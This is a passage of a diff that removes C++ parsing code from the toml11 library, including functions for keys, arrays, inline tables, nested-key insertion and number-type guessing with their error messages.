-        location inner_loc(loc.name(), token.unwrap().str());
-        const auto datetime = parse_local_datetime(inner_loc);
-        if(!datetime || inner_loc.iter() == inner_loc.end())
-        {
-            throw internal_error(format_underline(
-                "toml::parse_offset_datetime: invalid datetime format",
-                {{source_location(inner_loc), "date, not datetime"}}),
-                source_location(inner_loc));
-        }
-        time_offset offset(0, 0);
-        if(const auto ofs = lex_time_numoffset::invoke(inner_loc))
-        {
-            const auto str = ofs.unwrap().str();
-
-            const auto hour   = from_string<int>(str.substr(1,2), 0);
-            const auto minute = from_string<int>(str.substr(4,2), 0);
-
-            if((hour < 0 || 23 < hour) || (minute < 0 || 59 < minute))
-            {
-                throw syntax_error(format_underline("toml::parse_offset_datetime: "
-                    "invalid offset: it does not conform RFC3339.", {{
-                    source_location(loc), "month should be 01-12, day should be"
-                    " 01-28,29,30,31, depending on month/year."
-                    }}), source_location(inner_loc));
-            }
-
-            if(str.front() == '+')
-            {
-                offset = time_offset(hour, minute);
-            }
-            else
-            {
-                offset = time_offset(-hour, -minute);
-            }
-        }
-        else if(*inner_loc.iter() != 'Z' && *inner_loc.iter() != 'z')
-        {
-            throw internal_error(format_underline(
-                "toml::parse_offset_datetime: invalid datetime format",
-                {{source_location(inner_loc), "should be `Z` or `+HH:MM`"}}),
-                source_location(inner_loc));
-        }
-        return ok(std::make_pair(offset_datetime(datetime.unwrap().first, offset),
-                                 token.unwrap()));
-    }
-    else
-    {
-        loc.reset(first);
-        return err(format_underline("toml::parse_offset_datetime: ",
-            {{source_location(loc), "the next token is not a offset_datetime"}}));
-    }
-}
-
-inline result<std::pair<key, region>, std::string>
-parse_simple_key(location& loc)
-{
-    if(const auto bstr = parse_basic_string(loc))
-    {
-        return ok(std::make_pair(bstr.unwrap().first.str, bstr.unwrap().second));
-    }
-    if(const auto lstr = parse_literal_string(loc))
-    {
-        return ok(std::make_pair(lstr.unwrap().first.str, lstr.unwrap().second));
-    }
-    if(const auto bare = lex_unquoted_key::invoke(loc))
-    {
-        const auto reg = bare.unwrap();
-        return ok(std::make_pair(reg.str(), reg));
-    }
-    return err(format_underline("toml::parse_simple_key: ",
-            {{source_location(loc), "the next token is not a simple key"}}));
-}
-
-// dotted key become vector of keys
-inline result<std::pair<std::vector<key>, region>, std::string>
-parse_key(location& loc)
-{
-    const auto first = loc.iter();
-    // dotted key -> `foo.bar.baz` where several single keys are chained by
-    // dots. Whitespaces between keys and dots are allowed.
-    if(const auto token = lex_dotted_key::invoke(loc))
-    {
-        const auto reg = token.unwrap();
-        location inner_loc(loc.name(), reg.str());
-        std::vector<key> keys;
-
-        while(inner_loc.iter() != inner_loc.end())
-        {
-            lex_ws::invoke(inner_loc);
-            if(const auto k = parse_simple_key(inner_loc))
-            {
-                keys.push_back(k.unwrap().first);
-            }
-            else
-            {
-                throw internal_error(format_underline(
-                    "toml::detail::parse_key: dotted key contains invalid key",
-                    {{source_location(inner_loc), k.unwrap_err()}}),
-                    source_location(inner_loc));
-            }
-
-            lex_ws::invoke(inner_loc);
-            if(inner_loc.iter() == inner_loc.end())
-            {
-                break;
-            }
-            else if(*inner_loc.iter() == '.')
-            {
-                inner_loc.advance(); // to skip `.`
-            }
-            else
-            {
-                throw internal_error(format_underline("toml::parse_key: "
-                    "dotted key contains invalid key ",
-                    {{source_location(inner_loc), "should be `.`"}}),
-                    source_location(inner_loc));
-            }
-        }
-        return ok(std::make_pair(keys, reg));
-    }
-    loc.reset(first);
-
-    // simple_key: a single (basic_string|literal_string|bare key)
-    if(const auto smpl = parse_simple_key(loc))
-    {
-        return ok(std::make_pair(std::vector<key>(1, smpl.unwrap().first),
-                                 smpl.unwrap().second));
-    }
-    return err(format_underline("toml::parse_key: an invalid key appeared.",
-                {{source_location(loc), "is not a valid key"}}, {
-                "bare keys  : non-empty strings composed only of [A-Za-z0-9_-].",
-                "quoted keys: same as \"basic strings\" or 'literal strings'.",
-                "dotted keys: sequence of bare or quoted keys joined with a dot."
-                }));
-}
-
-// forward-decl to implement parse_array and parse_table
-template<typename Value>
-result<Value, std::string> parse_value(location&);
-
-template<typename Value>
-result<std::pair<typename Value::array_type, region>, std::string>
-parse_array(location& loc)
-{
-    using value_type = Value;
-    using array_type = typename value_type::array_type;
-
-    const auto first = loc.iter();
-    if(loc.iter() == loc.end())
-    {
-        return err("toml::parse_array: input is empty");
-    }
-    if(*loc.iter() != '[')
-    {
-        return err("toml::parse_array: token is not an array");
-    }
-    loc.advance();
-
-    using lex_ws_comment_newline = repeat<
-        either<lex_wschar, lex_newline, lex_comment>, unlimited>;
-
-    array_type retval;
-    while(loc.iter() != loc.end())
-    {
-        lex_ws_comment_newline::invoke(loc); // skip
-
-        if(loc.iter() != loc.end() && *loc.iter() == ']')
-        {
-            loc.advance(); // skip ']'
-            return ok(std::make_pair(retval,
-                      region(loc, first, loc.iter())));
-        }
-
-        if(auto val = parse_value<value_type>(loc))
-        {
-            // After TOML v1.0.0-rc.1, array becomes to be able to have values
-            // with different types. So here we will omit this by default.
-            //
-            // But some of the test-suite checks if the parser accepts a hetero-
-            // geneous arrays, so we keep this for a while.
-#ifdef TOML11_DISALLOW_HETEROGENEOUS_ARRAYS
-            if(!retval.empty() && retval.front().type() != val.as_ok().type())
-            {
-                auto array_start_loc = loc;
-                array_start_loc.reset(first);
-
-                throw syntax_error(format_underline("toml::parse_array: "
-                    "type of elements should be the same each other.", {
-                        {source_location(array_start_loc), "array starts here"},
-                        {
-                            retval.front().location(),
-                            "value has type " + stringize(retval.front().type())
-                        },
-                        {
-                            val.unwrap().location(),
-                            "value has different type, " + stringize(val.unwrap().type())
-                        }
-                    }), source_location(loc));
-            }
-#endif
-            retval.push_back(std::move(val.unwrap()));
-        }
-        else
-        {
-            auto array_start_loc = loc;
-            array_start_loc.reset(first);
-
-            throw syntax_error(format_underline("toml::parse_array: "
-                "value having invalid format appeared in an array", {
-                    {source_location(array_start_loc), "array starts here"},
-                    {source_location(loc), "it is not a valid value."}
-                }), source_location(loc));
-        }
-
-        using lex_array_separator = sequence<maybe<lex_ws_comment_newline>, character<','>>;
-        const auto sp = lex_array_separator::invoke(loc);
-        if(!sp)
-        {
-            lex_ws_comment_newline::invoke(loc);
-            if(loc.iter() != loc.end() && *loc.iter() == ']')
-            {
-                loc.advance(); // skip ']'
-                return ok(std::make_pair(retval,
-                          region(loc, first, loc.iter())));
-            }
-            else
-            {
-                auto array_start_loc = loc;
-                array_start_loc.reset(first);
-
-                throw syntax_error(format_underline("toml::parse_array:"
-                    " missing array separator `,` after a value", {
-                        {source_location(array_start_loc), "array starts here"},
-                        {source_location(loc),             "should be `,`"}
-                    }), source_location(loc));
-            }
-        }
-    }
-    loc.reset(first);
-    throw syntax_error(format_underline("toml::parse_array: "
-            "array did not closed by `]`",
-            {{source_location(loc), "should be closed"}}),
-            source_location(loc));
-}
-
-template<typename Value>
-result<std::pair<std::pair<std::vector<key>, region>, Value>, std::string>
-parse_key_value_pair(location& loc)
-{
-    using value_type = Value;
-
-    const auto first = loc.iter();
-    auto key_reg = parse_key(loc);
-    if(!key_reg)
-    {
-        std::string msg = std::move(key_reg.unwrap_err());
-        // if the next token is keyvalue-separator, it means that there are no
-        // key. then we need to show error as "empty key is not allowed".
-        if(const auto keyval_sep = lex_keyval_sep::invoke(loc))
-        {
-            loc.reset(first);
-            msg = format_underline("toml::parse_key_value_pair: "
-                "empty key is not allowed.",
-                {{source_location(loc), "key expected before '='"}});
-        }
-        return err(std::move(msg));
-    }
-
-    const auto kvsp = lex_keyval_sep::invoke(loc);
-    if(!kvsp)
-    {
-        std::string msg;
-        // if the line contains '=' after the invalid sequence, possibly the
-        // error is in the key (like, invalid character in bare key).
-        const auto line_end = std::find(loc.iter(), loc.end(), '\n');
-        if(std::find(loc.iter(), line_end, '=') != line_end)
-        {
-            msg = format_underline("toml::parse_key_value_pair: "
-                "invalid format for key",
-                {{source_location(loc), "invalid character in key"}},
-                {"Did you forget '.' to separate dotted-key?",
-                "Allowed characters for bare key are [0-9a-zA-Z_-]."});
-        }
-        else // if not, the error is lack of key-value separator.
-        {
-            msg = format_underline("toml::parse_key_value_pair: "
-                "missing key-value separator `=`",
-                {{source_location(loc), "should be `=`"}});
-        }
-        loc.reset(first);
-        return err(std::move(msg));
-    }
-
-    const auto after_kvsp = loc.iter(); // err msg
-    auto val = parse_value<value_type>(loc);
-    if(!val)
-    {
-        std::string msg;
-        loc.reset(after_kvsp);
-        // check there is something not a comment/whitespace after `=`
-        if(sequence<maybe<lex_ws>, maybe<lex_comment>, lex_newline>::invoke(loc))
-        {
-            loc.reset(after_kvsp);
-            msg = format_underline("toml::parse_key_value_pair: "
-                    "missing value after key-value separator '='",
-                    {{source_location(loc), "expected value, but got nothing"}});
-        }
-        else // there is something not a comment/whitespace, so invalid format.
-        {
-            msg = std::move(val.unwrap_err());
-        }
-        loc.reset(first);
-        return err(msg);
-    }
-    return ok(std::make_pair(std::move(key_reg.unwrap()),
-                             std::move(val.unwrap())));
-}
-
-// for error messages.
-template<typename InputIterator>
-std::string format_dotted_keys(InputIterator first, const InputIterator last)
-{
-    static_assert(std::is_same<key,
-        typename std::iterator_traits<InputIterator>::value_type>::value,"");
-
-    std::string retval(*first++);
-    for(; first != last; ++first)
-    {
-        retval += '.';
-        retval += *first;
-    }
-    return retval;
-}
-
-// forward decl for is_valid_forward_table_definition
-result<std::pair<std::vector<key>, region>, std::string>
-parse_table_key(location& loc);
-template<typename Value>
-result<std::pair<typename Value::table_type, region>, std::string>
-parse_inline_table(location& loc);
-
-// The following toml file is allowed.
-// ```toml
-// [a.b.c]     # here, table `a` has element `b`.
-// foo = "bar"
-// [a]         # merge a = {baz = "qux"} to a = {b = {...}}
-// baz = "qux"
-// ```
-// But the following is not allowed.
-// ```toml
-// [a]
-// b.c.foo = "bar"
-// [a]             # error! the same table [a] defined!
-// baz = "qux"
-// ```
-// The following is neither allowed.
-// ```toml
-// a = { b.c.foo = "bar"}
-// [a]             # error! the same table [a] defined!
-// baz = "qux"
-// ```
-// Here, it parses region of `tab->at(k)` as a table key and check the depth
-// of the key. If the key region points deeper node, it would be allowed.
-// Otherwise, the key points the same node. It would be rejected.
-template<typename Value, typename Iterator>
-bool is_valid_forward_table_definition(const Value& fwd, const Value& inserting,
-        Iterator key_first, Iterator key_curr, Iterator key_last)
-{
-    // ------------------------------------------------------------------------
-    // check type of the value to be inserted/merged
-
-    std::string inserting_reg = "";
-    if(const auto ptr = detail::get_region(inserting))
-    {
-        inserting_reg = ptr->str();
-    }
-    location inserting_def("internal", std::move(inserting_reg));
-    if(const auto inlinetable = parse_inline_table<Value>(inserting_def))
-    {
-        // check if we are overwriting existing table.
-        // ```toml
-        // # NG
-        // a.b = 42
-        // a = {d = 3.14}
-        // ```
-        // Inserting an inline table to a existing super-table is not allowed in
-        // any case. If we found it, we can reject it without further checking.
-        return false;
-    }
-
-    // ------------------------------------------------------------------------
-    // check table defined before
-
-    std::string internal = "";
-    if(const auto ptr = detail::get_region(fwd))
-    {
-        internal = ptr->str();
-    }
-    location def("internal", std::move(internal));
-    if(const auto tabkeys = parse_table_key(def)) // [table.key]
-    {
-        // table keys always contains all the nodes from the root.
-        const auto& tks = tabkeys.unwrap().first;
-        if(std::size_t(std::distance(key_first, key_last)) == tks.size() &&
-           std::equal(tks.begin(), tks.end(), key_first))
-        {
-            // the keys are equivalent. it is not allowed.
-            return false;
-        }
-        // the keys are not equivalent. it is allowed.
-        return true;
-    }
-    if(const auto dotkeys = parse_key(def))
-    {
-        // consider the following case.
-        // [a]
-        // b.c = {d = 42}
-        // [a.b.c]
-        // e = 2.71
-        // this defines the table [a.b.c] twice. no?
-
-        // a dotted key starts from the node representing a table in which the
-        // dotted key belongs to.
-        const auto& dks = dotkeys.unwrap().first;
-        if(std::size_t(std::distance(key_curr, key_last)) == dks.size() &&
-           std::equal(dks.begin(), dks.end(), key_curr))
-        {
-            // the keys are equivalent. it is not allowed.
-            return false;
-        }
-        // the keys are not equivalent. it is allowed.
-        return true;
-    }
-    return false;
-}
-
-template<typename Value, typename InputIterator>
-result<bool, std::string>
-insert_nested_key(typename Value::table_type& root, const Value& v,
-                  InputIterator iter, const InputIterator last,
-                  region key_reg,
-                  const bool is_array_of_table = false)
-{
-    static_assert(std::is_same<key,
-        typename std::iterator_traits<InputIterator>::value_type>::value,"");
-
-    using value_type = Value;
-    using table_type = typename value_type::table_type;
-    using array_type = typename value_type::array_type;
-
-    const auto first = iter;
-    assert(iter != last);
-
-    table_type* tab = std::addressof(root);
-    for(; iter != last; ++iter) // search recursively
-    {
-        const key& k = *iter;
-        if(std::next(iter) == last) // k is the last key
-        {
-            // XXX if the value is array-of-tables, there can be several
-            //     tables that are in the same array. in that case, we need to
-            //     find the last element and insert it to there.
-            if(is_array_of_table)
-            {
-                if(tab->count(k) == 1) // there is already an array of table
-                {
-                    if(tab->at(k).is_table())
-                    {
-                        // show special err msg for conflicting table
-                        throw syntax_error(format_underline(concat_to_string(
-                            "toml::insert_value: array of table (\"",
-                            format_dotted_keys(first, last),
-                            "\") cannot be defined"), {
-                                {tab->at(k).location(), "table already defined"},
-                                {v.location(), "this conflicts with the previous table"}
-                            }), v.location());
-                    }
-                    else if(!(tab->at(k).is_array()))
-                    {
-                        throw syntax_error(format_underline(concat_to_string(
-                            "toml::insert_value: array of table (\"",
-                            format_dotted_keys(first, last), "\") collides with"
-                            " existing value"), {
-                                {tab->at(k).location(),
-                                 concat_to_string("this ", tab->at(k).type(),
-                                                  " value already exists")},
-                                {v.location(),
-                                 "while inserting this array-of-tables"}
-                            }), v.location());
-                    }
-                    // the above if-else-if checks tab->at(k) is an array
-                    auto& a = tab->at(k).as_array();
-                    // If table element is defined as [[array_of_tables]], it
-                    // cannot be an empty array. If an array of tables is
-                    // defined as `aot = []`, it cannot be appended.
-                    if(a.empty() || !(a.front().is_table()))
-                    {
-                        throw syntax_error(format_underline(concat_to_string(
-                            "toml::insert_value: array of table (\"",
-                            format_dotted_keys(first, last), "\") collides with"
-                            " existing value"), {
-                                {tab->at(k).location(),
-                                 concat_to_string("this ", tab->at(k).type(),
-                                                  " value already exists")},
-                                {v.location(),
-                                 "while inserting this array-of-tables"}
-                            }), v.location());
-                    }
-                    // avoid conflicting array of table like the following.
-                    // ```toml
-                    // a = [{b = 42}] # define a as an array of *inline* tables
-                    // [[a]]          # a is an array of *multi-line* tables
-                    // b = 54
-                    // ```
-                    // Here, from the type information, these cannot be detected
-                    // because inline table is also a table.
-                    // But toml v0.5.0 explicitly says it is invalid. The above
-                    // array-of-tables has a static size and appending to the
-                    // array is invalid.
-                    // In this library, multi-line table value has a region
-                    // that points to the key of the table (e.g. [[a]]). By
-                    // comparing the first two letters in key, we can detect
-                    // the array-of-table is inline or multiline.
-                    if(const auto ptr = detail::get_region(a.front()))
-                    {
-                        if(ptr->str().substr(0,2) != "[[")
-                        {
-                            throw syntax_error(format_underline(concat_to_string(
-                                "toml::insert_value: array of table (\"",
-                                format_dotted_keys(first, last), "\") collides "
-                                "with existing array-of-tables"), {
-                                    {tab->at(k).location(),
-                                     concat_to_string("this ", tab->at(k).type(),
-                                                      " value has static size")},
-                                    {v.location(),
-                                     "appending it to the statically sized array"}
-                                }), v.location());
-                        }
-                    }
-                    a.push_back(v);
-                    return ok(true);
-                }
-                else // if not, we need to create the array of table
-                {
-                    // XXX: Consider the following array of tables.
-                    // ```toml
-                    // # This is a comment.
-                    // [[aot]]
-                    // foo = "bar"
-                    // ```
-                    // Here, the comment is for `aot`. But here, actually two
-                    // values are defined. An array that contains tables, named
-                    // `aot`, and the 0th element of the `aot`, `{foo = "bar"}`.
-                    // Those two are different from each other. But both of them
-                    // points to the same portion of the TOML file, `[[aot]]`,
-                    // so `key_reg.comments()` returns `# This is a comment`.
-                    // If it is assigned as a comment of `aot` defined here, the
-                    // comment will be duplicated. Both the `aot` itself and
-                    // the 0-th element will have the same comment. This causes
-                    // "duplication of the same comments" bug when the data is
-                    // serialized.
-                    //     Next, consider the following.
-                    // ```toml
-                    // # comment 1
-                    // aot = [
-                    //     # comment 2
-                    //     {foo = "bar"},
-                    // ]
-                    // ```
-                    // In this case, we can distinguish those two comments. So
-                    // here we need to add "comment 1" to the `aot` and
-                    // "comment 2" to the 0th element of that.
-                    //     To distinguish those two, we check the key region.
-                    std::vector<std::string> comments{/* empty by default */};
-                    if(key_reg.str().substr(0, 2) != "[[")
-                    {
-                        comments = key_reg.comments();
-                    }
-                    value_type aot(array_type(1, v), key_reg, std::move(comments));
-                    tab->insert(std::make_pair(k, aot));
-                    return ok(true);
-                }
-            } // end if(array of table)
-
-            if(tab->count(k) == 1)
-            {
-                if(tab->at(k).is_table() && v.is_table())
-                {
-                    if(!is_valid_forward_table_definition(
-                                tab->at(k), v, first, iter, last))
-                    {
-                        throw syntax_error(format_underline(concat_to_string(
-                            "toml::insert_value: table (\"",
-                            format_dotted_keys(first, last),
-                            "\") already exists."), {
-                                {tab->at(k).location(), "table already exists here"},
-                                {v.location(), "table defined twice"}
-                            }), v.location());
-                    }
-                    // to allow the following toml file.
-                    // [a.b.c]
-                    // d = 42
-                    // [a]
-                    // e = 2.71
-                    auto& t = tab->at(k).as_table();
-                    for(const auto& kv : v.as_table())
-                    {
-                        if(tab->at(k).contains(kv.first))
-                        {
-                            throw syntax_error(format_underline(concat_to_string(
-                                "toml::insert_value: value (\"",
-                                format_dotted_keys(first, last),
-                                "\") already exists."), {
-                                    {t.at(kv.first).location(), "already exists here"},
-                                    {v.location(), "this defined twice"}
-                                }), v.location());
-                        }
-                        t[kv.first] = kv.second;
-                    }
-                    detail::change_region(tab->at(k), key_reg);
-                    return ok(true);
-                }
-                else if(v.is_table()                     &&
-                        tab->at(k).is_array()            &&
-                        tab->at(k).as_array().size() > 0 &&
-                        tab->at(k).as_array().front().is_table())
-                {
-                    throw syntax_error(format_underline(concat_to_string(
-                        "toml::insert_value: array of tables (\"",
-                        format_dotted_keys(first, last), "\") already exists."), {
-                            {tab->at(k).location(), "array of tables defined here"},
-                            {v.location(), "table conflicts with the previous array of table"}
-                        }), v.location());
-                }
-                else
-                {
-                    throw syntax_error(format_underline(concat_to_string(
-                        "toml::insert_value: value (\"",
-                        format_dotted_keys(first, last), "\") already exists."), {
-                            {tab->at(k).location(), "value already exists here"},
-                            {v.location(), "value defined twice"}
-                        }), v.location());
-                }
-            }
-            tab->insert(std::make_pair(k, v));
-            return ok(true);
-        }
-        else // k is not the last one, we should insert recursively
-        {
-            // if there is no corresponding value, insert it first.
-            // related: you don't need to write
-            // # [x]
-            // # [x.y]
-            // to write
-            // [x.y.z]
-            if(tab->count(k) == 0)
-            {
-                // a table that is defined implicitly doesn't have any comments.
-                (*tab)[k] = value_type(table_type{}, key_reg, {/*no comment*/});
-            }
-
-            // type checking...
-            if(tab->at(k).is_table())
-            {
-                // According to toml-lang/toml:36d3091b3 "Clarify that inline
-                // tables are immutable", check if it adds key-value pair to an
-                // inline table.
-                if(const auto* ptr = get_region(tab->at(k)))
-                {
-                    // here, if the value is a (multi-line) table, the region
-                    // should be something like `[table-name]`.
-                    if(ptr->front() == '{')
-                    {
-                        throw syntax_error(format_underline(concat_to_string(
-                            "toml::insert_value: inserting to an inline table (",
-                            format_dotted_keys(first, std::next(iter)),
-                            ") but inline tables are immutable"), {
-                                {tab->at(k).location(), "inline tables are immutable"},
-                                {v.location(), "inserting this"}
-                            }), v.location());
-                    }
-                }
-                tab = std::addressof((*tab)[k].as_table());
-            }
-            else if(tab->at(k).is_array()) // inserting to array-of-tables?
-            {
-                auto& a = (*tab)[k].as_array();
-                if(!a.back().is_table())
-                {
-                    throw syntax_error(format_underline(concat_to_string(
-                        "toml::insert_value: target (",
-                        format_dotted_keys(first, std::next(iter)),
-                        ") is neither table nor an array of tables"), {
-                            {a.back().location(), concat_to_string(
-                                    "actual type is ", a.back().type())},
-                            {v.location(), "inserting this"}
-                        }), v.location());
-                }
-                tab = std::addressof(a.back().as_table());
-            }
-            else
-            {
-                throw syntax_error(format_underline(concat_to_string(
-                    "toml::insert_value: target (",
-                    format_dotted_keys(first, std::next(iter)),
-                    ") is neither table nor an array of tables"), {
-                        {tab->at(k).location(), concat_to_string(
-                                "actual type is ", tab->at(k).type())},
-                        {v.location(), "inserting this"}
-                    }), v.location());
-            }
-        }
-    }
-    return err(std::string("toml::detail::insert_nested_key: never reach here"));
-}
-
-template<typename Value>
-result<std::pair<typename Value::table_type, region>, std::string>
-parse_inline_table(location& loc)
-{
-    using value_type = Value;
-    using table_type = typename value_type::table_type;
-
-    const auto first = loc.iter();
-    table_type retval;
-    if(!(loc.iter() != loc.end() && *loc.iter() == '{'))
-    {
-        return err(format_underline("toml::parse_inline_table: ",
-            {{source_location(loc), "the next token is not an inline table"}}));
-    }
-    loc.advance();
-
-    // check if the inline table is an empty table = { }
-    maybe<lex_ws>::invoke(loc);
-    if(loc.iter() != loc.end() && *loc.iter() == '}')
-    {
-        loc.advance(); // skip `}`
-        return ok(std::make_pair(retval, region(loc, first, loc.iter())));
-    }
-
-    // it starts from "{". it should be formatted as inline-table
-    while(loc.iter() != loc.end())
-    {
-        const auto kv_r = parse_key_value_pair<value_type>(loc);
-        if(!kv_r)
-        {
-            return err(kv_r.unwrap_err());
-        }
-
-        const auto&              kvpair  = kv_r.unwrap();
-        const std::vector<key>&  keys    = kvpair.first.first;
-        const auto&              key_reg = kvpair.first.second;
-        const value_type&        val     = kvpair.second;
-
-        const auto inserted =
-            insert_nested_key(retval, val, keys.begin(), keys.end(), key_reg);
-        if(!inserted)
-        {
-            throw internal_error("toml::parse_inline_table: "
-                "failed to insert value into table: " + inserted.unwrap_err(),
-                source_location(loc));
-        }
-
-        using lex_table_separator = sequence<maybe<lex_ws>, character<','>>;
-        const auto sp = lex_table_separator::invoke(loc);
-
-        if(!sp)
-        {
-            maybe<lex_ws>::invoke(loc);
-
-            if(loc.iter() == loc.end())
-            {
-                throw syntax_error(format_underline(
-                    "toml::parse_inline_table: missing table separator `}` ",
-                    {{source_location(loc), "should be `}`"}}),
-                    source_location(loc));
-            }
-            else if(*loc.iter() == '}')
-            {
-                loc.advance(); // skip `}`
-                return ok(std::make_pair(
-                            retval, region(loc, first, loc.iter())));
-            }
-            else if(*loc.iter() == '#' || *loc.iter() == '\r' || *loc.iter() == '\n')
-            {
-                throw syntax_error(format_underline(
-                    "toml::parse_inline_table: missing curly brace `}`",
-                    {{source_location(loc), "should be `}`"}}),
-                    source_location(loc));
-            }
-            else
-            {
-                throw syntax_error(format_underline(
-                    "toml::parse_inline_table: missing table separator `,` ",
-                    {{source_location(loc), "should be `,`"}}),
-                    source_location(loc));
-            }
-        }
-        else // `,` is found
-        {
-            maybe<lex_ws>::invoke(loc);
-            if(loc.iter() != loc.end() && *loc.iter() == '}')
-            {
-                throw syntax_error(format_underline(
-                    "toml::parse_inline_table: trailing comma is not allowed in"
-                    " an inline table",
-                    {{source_location(loc), "should be `}`"}}),
-                    source_location(loc));
-            }
-        }
-    }
-    loc.reset(first);
-    throw syntax_error(format_underline("toml::parse_inline_table: "
-            "inline table did not closed by `}`",
-            {{source_location(loc), "should be closed"}}),
-            source_location(loc));
-}
-
-inline result<value_t, std::string> guess_number_type(const location& l)
-{
-    // This function tries to find some (common) mistakes by checking characters
-    // that follows the last character of a value. But it is often difficult
-    // because some non-newline characters can appear after a value. E.g.
-    // spaces, tabs, commas (in an array or inline table), closing brackets
-    // (of an array or inline table), comment-sign (#). Since this function
-    // does not parse further, those characters are always allowed to be there.
-    location loc = l;
-
-    if(lex_offset_date_time::invoke(loc)) {return ok(value_t::offset_datetime);}
-    loc.reset(l.iter());
-
-    if(lex_local_date_time::invoke(loc))
-    {
-        // bad offset may appear after this.
-        if(loc.iter() != loc.end() && (*loc.iter() == '+' || *loc.iter() == '-'
-                    || *loc.iter() == 'Z' || *loc.iter() == 'z'))
-        {
-            return err(format_underline("bad offset: should be [+-]HH:MM or Z",
-                        {{source_location(loc), "[+-]HH:MM or Z"}},
-                        {"pass: +09:00, -05:30", "fail: +9:00, -5:30"}));
-        }
-        return ok(value_t::local_datetime);
-    }
-    loc.reset(l.iter());
-
-    if(lex_local_date::invoke(loc))
-    {
-        // bad time may appear after this.
-        // A space is allowed as a delimiter between local time. But there are
-        // both cases in which a space becomes valid or invalid.
-        // - invalid: 2019-06-16 7:00:00
-        // - valid  : 2019-06-16 07:00:00
-        if(loc.iter() != loc.end())
-        {
-            const auto c = *loc.iter();
-            if(c == 'T' || c == 't')
-            {
-                return err(format_underline("bad time: should be HH:MM:SS.subsec",
-                        {{source_location(loc), "HH:MM:SS.subsec"}},
-                        {"pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999",
-                         "fail: 1979-05-27T7:32:00, 1979-05-27 17:32"}));
-            }
-            if('0' <= c && c <= '9')
-            {
-                return err(format_underline("bad time: missing T",
-                        {{source_location(loc), "T or space required here"}},
-                        {"pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999",
-                         "fail: 1979-05-27T7:32:00, 1979-05-27 7:32"}));
-            }
-            if(c == ' ' && std::next(loc.iter()) != loc.end() &&
-                ('0' <= *std::next(loc.iter()) && *std::next(loc.iter())<= '9'))
-            {
-                loc.advance();
-                return err(format_underline("bad time: should be HH:MM:SS.subsec",
-                        {{source_location(loc), "HH:MM:SS.subsec"}},
-                        {"pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999",
-                         "fail: 1979-05-27T7:32:00, 1979-05-27 7:32"}));
-            }
-        }
-        return ok(value_t::local_date);
-    }
-    loc.reset(l.iter());
-
-    if(lex_local_time::invoke(loc)) {return ok(value_t::local_time);}
-    loc.reset(l.iter());
-
-    if(lex_float::invoke(loc))
-    {
-        if(loc.iter() != loc.end() && *loc.iter() == '_')
-        {
-            return err(format_underline("bad float: `_` should be surrounded by digits",
-                        {{source_location(loc), "here"}},
-                        {"pass: +1.0, -2e-2, 3.141_592_653_589, inf, nan",
-                         "fail: .0, 1., _1.0, 1.0_, 1_.0, 1.0__0"}));
-        }
-        return ok(value_t::floating);
-    }
-    loc.reset(l.iter());
-
-    if(lex_integer::invoke(loc))
-    {
-        if(loc.iter() != loc.end())
-        {
-            const auto c = *loc.iter();
-            if(c == '_')
-            {
-                return err(format_underline("bad integer: `_` should be surrounded by digits",
-                            {{source_location(loc), "here"}},
-                            {"pass: -42, 1_000, 1_2_3_4_5, 0xC0FFEE, 0b0010, 0o755",
-                             "fail: 1__000, 0123"}));
-            }
-            if('0' <= c && c <= '9')
-            {
-                // leading zero. point '0'
-                loc.retrace();
-                return err(format_underline("bad integer: leading zero",
-                            {{source_location(loc), "here"}},
-                            {"pass: -42, 1_000, 1_2_3_4_5, 0xC0FFEE, 0b0010, 0o755",
-                             "fail: 1__000, 0123"}));
-            }
-            if(c == ':' || c == '-')
-            {
-                return err(format_underline("bad datetime: invalid format",
-                            {{source_location(loc), "here"}},
-                            {"pass: 1979-05-27T07:32:00-07:00, 1979-05-27 07:32:00.999999Z",
-                             "fail: 1979-05-27T7:32:00-7:00, 1979-05-27 7:32-00:30"}));
-            }
-            if(c == '.' || c == 'e' || c == 'E')
-            {
-                return err(format_underline("bad float: invalid format",
-                            {{source_location(loc), "here"}},
-                            {"pass: +1.0, -2e-2, 3.141_592_653_589, inf, nan",
-                             "fail: .0, 1., _1.0, 1.0_, 1_.0, 1.0__0"}));
-            }
-        }
-        return ok(value_t::integer);
-    }
-    if(loc.iter() != loc.end() && *loc.iter() == '.')
-    {
-        return err(format_underline("bad float: invalid format",
-                {{source_location(loc), "integer part required before this"}},
-                {"pass: +1.0, -2e-2, 3.141_592_653_589, inf, nan",
-                 "fail: .0, 1., _1.0, 1.0_, 1_.0, 1.0__0"}));
-    }
-    if(loc.iter() != loc.end() && *loc.iter() == '_')
-    {
-        return err(format_underline("bad number: `_` should be surrounded by digits",
-                {{source_location(loc), "`_` is not surrounded by digits"}},
-                {"pass: -42, 1_000, 1_2_3_4_5, 0xC0FFEE, 0b0010, 0o755",
-                 "fail: 1__000, 0123"}));
-    }
-    return err(format_underline("bad format: unknown value appeared",
-                {{source_location(loc), "here"}}));
-}
-
-inline result<value_t, std::string> guess_value_type(const location& loc)
-{
-    switch(*loc.iter())
-    {
-        case '"' : {return ok(value_t::string);  }
-        case '\'': {return ok(value_t::string);  }
-        case 't' : {return ok(value_t::boolean); }
-        case 'f' : {return ok(value_t::boolean); }
-        case '[' : {return ok(value_t::array);   }
-        case '{' : {return ok(value_t::table);   }
-        case 'i' : {return ok(value_t::floating);} // inf.
-        case 'n' : {return ok(value_t::floating);} // nan.
-        default  : {return guess_number_type(loc);}
-    }
-}
-
-template<typename Value, typename T>
-result<Value, std::string>
-parse_value_helper(result<std::pair<T, region>, std::string> rslt)
-{
-    if(rslt.is_ok())
-    {
-        auto comments = rslt.as_ok().second.comments();
-        return ok(Value(std::move(rslt.as_ok()), std::move(comments)));
-    }
-    else
-    {
-        return err(std::move(rslt.as_err()));
-    }
-}
-
-template<typename Value>
-result<Value, std::string> parse_value(location& loc)
-{
-    const auto first = loc.iter();
-    if(first == loc.end())
-    {
-        return err(format_underline("toml::parse_value: input is empty",
-                   {{source_location(loc), ""}}));
-    }
-
-    const auto type = guess_value_type(loc);
-    if(!type)
-    {
-        return err(type.unwrap_err());
-    }
-
-    switch(type.unwrap())
-    {
-        case value_t::boolean        : {return parse_value_helper<Value>(parse_boolean(loc)            );}
-        case value_t::integer        : {return parse_value_helper<Value>(parse_integer(loc)            );}
-        case value_t::floating       : {return parse_value_helper<Value>(parse_floating(loc)           );}
-        case value_t::string         : {return parse_value_helper<Value>(parse_string(loc)             );}
